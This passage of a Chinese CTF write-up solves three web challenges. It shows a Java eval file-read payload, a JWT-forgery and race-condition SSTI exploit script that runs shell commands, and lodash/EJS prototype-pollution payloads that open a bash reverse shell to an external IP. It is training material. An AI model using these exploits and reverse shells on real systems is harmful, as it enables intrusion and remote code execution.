            if (content.contains(word)) {
                return "Blacklisted word detected: " + word;
            }
        }

        Object result = (new ScriptEngineManager()).getEngineByName("js").eval(content);
        return result.toString();
    }

    @GetMapping({"/"})
    public String home(Model model) throws Exception {
        return "index";
    }

    @GetMapping({"/calc"})
    public String status(@RequestParam("content") String content, Model model) throws Exception {
        model.addAttribute("result", this.calculate(content));
        return "index";
    }
}

一开始直接ai梭哈,盲猜flag在/flag

1
Java.type('java.nio.file.Files').readAllLines(Java.type('java.nio.file.Paths').get("/flag"),Java.type('java.nio.charset.StandardCharsets').UTF_8).toString()
image-20251108205954070

废弃的网站

考点:条件竞争打ssti

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from flask import Flask, request, render_template, abort, redirect, render_template_string
import jwt, hashlib, time

app = Flask(__name__)
time_started = round(time.time())
print(f"System started at {time_started}")
APP_SECRET = hashlib.sha256(str(time_started).encode()).hexdigest()

tempuser = None

USER_DB = {
    "admin": {"id": 1, "role": "admin", "name": "Administrator"},
    "guest": {"id": 2, "role": "guest", "name": "Guest User"},
}

def admin_required(f):
    def wrapper(*args, **kwargs):
        cookie = request.cookies.get('session', None)
        if cookie is None:
            
            response = redirect('/')
            session = jwt.encode(USER_DB['guest'], APP_SECRET, algorithm='HS256')
            response.set_cookie('session', session)
            return response
        try:
            user_data = jwt.decode(cookie, APP_SECRET, algorithms=['HS256'])
            if user_data['role'] != 'admin':
                abort(403, description="Admin access required.")
            if user_data['name'] != 'Administrator':
                abort(403, description="Admin access required.")
            time.sleep(0.15)	
        except jwt.InvalidTokenError:
            abort(401, description = f"Session expired. Please log in again. System has been running {round(time.time() - time_started)} seconds.")
        return f(*args, **kwargs)
    wrapper.__name__ = f.__name__
    return wrapper

@app.before_request	#Flask的请求钩子,它会在每个http请求处理之前自动执行
def load_user():
    if request.endpoint == 'static':
        return
    global tempuser	#全局变量
    cookie = request.cookies.get('session', None)
    if cookie is None:
        tempuser = USER_DB['guest']
        session = jwt.encode(tempuser, APP_SECRET, algorithm='HS256')
        response = redirect(request.path)
        response.set_cookie('session', session)
        return response
    try:
        user_data = jwt.decode(cookie, APP_SECRET, algorithms=['HS256'])
        tempuser = user_data	
    except jwt.InvalidTokenError:
        session = jwt.encode(USER_DB['guest'], APP_SECRET, algorithm='HS256')
        content = render_template_string(
            "Session expired. Please log in again. System has been running %d seconds." %
            (round(time.time() - time_started))
        )
        response = app.make_response((content, 401))
        response.set_cookie('session', session)
        return response
    
@app.route('/', methods=['GET'])
def home():
    return render_template('index.html')


@app.route("/admin", methods=['GET'])
@admin_required
def admin_panel():
    global tempuser
    return render_template_string("Welcome Back, %s" % tempuser['name'])

@app.route("/static/<path:filename>", methods=['GET'])
def serve_static(filename):
    if not filename.endswith('.png'):
        abort(403, description="Only .png files are allowed.")
    return app.send_static_file(filename)

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=5000)

代码审计一下,发现漏洞点显然是render_template_string打ssti,但是想执行命令要admin,密钥是服务器启动时间,当jwt解析错误就会回显系统运行的时间,所以写代码(注意考虑时间误差,所以要试试计算出的时间+-1的时间)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import time
import hashlib
import re

def get_app_secret():
    target_url = "http://8.147.132.32:24710/admin"
    cookies = {
        'td_cookie': '2928931217',
        'session': '1'
    }
    
    try:
        response = requests.get(target_url, cookies=cookies, timeout=5)
        match = re.search(r'System has been running (\d+) seconds', response.text)
        if match:
            uptime = int(match.group(1))
            current_time = int(time.time())
            
            # 考虑时间误差,计算多个可能的启动时间
            for offset in range(-1, 2):  
                time_started = current_time - uptime + offset
                app_secret = hashlib.sha256(str(time_started).encode()).hexdigest()
                
                print(f"启动时间({offset}): {time_started}")
                print(f"密钥({offset}): {app_secret}")
                print("-" * 50)
        else:
            print("无法提取运行时间")
    except Exception as e:
        print(f"请求失败: {e}")

if __name__ == "__main__":
    get_app_secret()

然后伪造admin

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import jwt
import datetime

# 定义标头(Headers)
headers = {
  "alg": "HS256",
  "typ": "JWT"
}

# 定义有效载体(Payload)
token_dict = {
  "id": 1,
  "role": "admin",
  "name": "Administrator"
}

# 密钥
secret = 'c484d1e6ed651fc48231d0629ec282172fe9f41c0d74fd8c2ea34bc325ca8b83'

jwt_token = jwt.encode(token_dict, secret, algorithm='HS256', headers=headers)
print("JWT Token:", jwt_token)

image-20251108220332022

可以看到, admin_required限制了name必须是Administrator,但是这里也是我们的命令注入点,所以怎么办?

1
我们看在admin_required中,进过name就检测后,有`time.sleep(0.15)`,admin请求已经通过了权限检查,,但还没有执行`admin_panel`函数,此时如果另一个线程修改了`tempuser`,之后请求就会使用被修改的值,所以这时候就要调用load_user()了,它会在每个请求处理之前自动执行,而这里面又可以给name赋值,达到我们命令执行的目的

所以exp是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import threading
import jwt

target_url = "http://8.147.132.32:24710"
secret = 'c484d1e6ed651fc48231d0629ec282172fe9f41c0d74fd8c2ea34bc325ca8b83'

# 创建两个token
admin_token = jwt.encode({"id": 1, "role": "admin", "name": "Administrator"}, secret, algorithm='HS256')
ssti_token = jwt.encode({"id": 2, "role": "guest", "name": "{{lipsum.__globals__.os.popen('cat /f*').read()}}"}, secret, algorithm='HS256')

def send_admin_request():
    """发送admin请求"""
    cookies = {'td_cookie': '2928931217', 'session': admin_token}
    response = requests.get(f"{target_url}/admin", cookies=cookies)
    print(f"[+] 成功! 响应: {response.text}")

def send_ssti_request():
    """发送SSTI请求到首页来设置tempuser"""
    cookies = {'td_cookie': '2928931217', 'session': ssti_token}
    response = requests.get(target_url, cookies=cookies)  # 访问首页来设置tempuser
    # 这里不需要打印,因为我们只关心admin请求的结果

# 创建并启动线程
for i in range(100):  # 尝试100次
    t1 = threading.Thread(target=send_admin_request)
    t2 = threading.Thread(target=send_ssti_request)
    t1.start()
    t2.start()
    t1.join()
    t2.join()

小W和小K的故事(最终章)

考点:CVE-2019-10744原型链污染rce

先看看关键代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class Random {
    constructor(seed) {
        this.seed = (seed || Date.now()) % 998244353;
    }
    next() {
        this.seed = (this.seed * 48271) % 998244353;
        return this.seed;
    }
    getRandomInt(min, max) {
        return min + (this.next() % (max - min));
    }
    getRandomFloat(min, max) {
        return min + Math.sin(getRandomInt(0, 10000)) * (max - min);
    }
    getRandomString(length) {
        const charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
        let result = "";
        for (let i = 0; i < length; i++) {
            result += charset.charAt(this.getRandomInt(0, charset.length));
        }
        return result;
    }
}

module.exports = Random;
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
const express = require('express');
const bodyParser = require('body-parser');
const session = require('express-session');
const fs = require('fs');
const lodash = require('lodash');
const random = require('./utils/Random');

const rng = new random(114514);

let app = express();
app.use(bodyParser.urlencoded({ extends: true })).use(bodyParser.json());
app.use('/static', express.static('public'));

app.set('views', './views');
app.set('view engine', 'ejs');
app.use('/static', express.static('static'));

app.use(session({
    name: 'session',
    secret: rng.getRandomString(16),
    resave: false,
    saveUninitialized: true,
    cookie: { maxAge: 3600000 }
}))

let users = {
    'admin': {
        name: 'admin',
        password: rng.getRandomString(16),
        isAdmin: true,
    },
    'guest': {
        name: 'guest',
        password: "123456",
        isAdmin: false,
    }
}

function auth(req, res, next) {
    if (!req.session.login || !req.session.userid) {
        res.redirect(302, '/login');
    } else {
        next();
    }
}

function adminAuth(req, res, next) {
    if (!req.session.login || !req.session.userid || !users[req.session.userid].isAdmin) {
        res.redirect(302, '/');
    } else {
        next();
    }
}

app.get('/', auth, function(req, res, next){
    res.render('index', { userid: req.session.userid, isAdmin: users[req.session.userid].isAdmin });
});


app.get('/login', async function(req, res, next) {
    res.render('login', { error: null });
})
app.post('/login', async function(req, res, next) {
    let { username, password } = req.body;
    if (!users[username] || users[username].password !== password) {
        res.render('login', { error: 'Invalid username or password' });
    } else {
        req.session.login = true;
        req.session.userid = username;
        res.redirect(302, '/');
    }
})

app.get('/admin', adminAuth, async function(req, res, next) {
    res.render('admin', { users: users });
})

app.get('/logout', auth, async function(req, res, next) {
    req.session.destroy();
    res.redirect(302, '/login');
})

app.post('/addUser', adminAuth, async function(req, res, next) {
    lodash.defaultsDeep(users, req.body);
    res.redirect(302, '/admin');
})

app.listen(3000, function() {
    console.log('Server is running on http://localhost:3000');
})

admin密码与密钥都是用random随机数,而且还给了种子,显然可以预测出

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class Random {
    constructor(seed) {
        this.seed = (seed || Date.now()) % 998244353;
    }
    next() {
        this.seed = (this.seed * 48271) % 998244353;
        return this.seed;
    }
    getRandomInt(min, max) {
        return min + (this.next() % (max - min));
    }
    getRandomString(length) {
        const charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
        let result = "";
        for (let i = 0; i < length; i++) {
            result += charset.charAt(this.getRandomInt(0, charset.length));
        }
        return result;
    }
}

// 初始化RNG,种子为114514
const rng = new Random(114514);

// 第一次调用 - 会话密钥(session secret)
const sessionSecret = rng.getRandomString(16);
console.log('Predicted session secret:', sessionSecret);

// 第二次调用 - admin密码
const adminPassword = rng.getRandomString(16);
console.log('Predicted admin password:', adminPassword);

得到:

1
2
Predicted session secret: JbjULcgJmg6EyKcQ
Predicted admin password: XrfGpmeEFZmz8NDZ

哪里执行命令?发现有个 lodash.defaultsDeep,发现他有个漏洞CVE-2019-10744原型链污染rce,刚好题目是4.17.11版本,符合

https://ljdd520.github.io/2019/12/10/D-3CTF%E7%9A%84%E8%B5%9B%E5%90%8E%E5%A4%8D%E7%8E%B0%E4%BA%8C/

1
2
3
4
5
6
7
{
        "constructor": {
            "prototype": {
            "outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/101.200.39.193/5000 0>&1\"');var __tmp2"
            }
        }
    }

打CVE-2022-29078

1
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/101.200.39.193/5000 0>&1\"');var __tmp2"}}

或者打CVE-2022-29078 bypass

1
2
3
4
5
6
7
8
{
        "constructor": {
            "prototype": {
                "client": true,
                "escapeFunction": "console.log;this.global.process.mainModule.require(\"child_process\").execSync(\"bash -c \\\"bash -i > /dev/tcp/101.200.39.193/5000 0>&1 2>&1\\\"\");"
            }
        }
    }
谢谢观看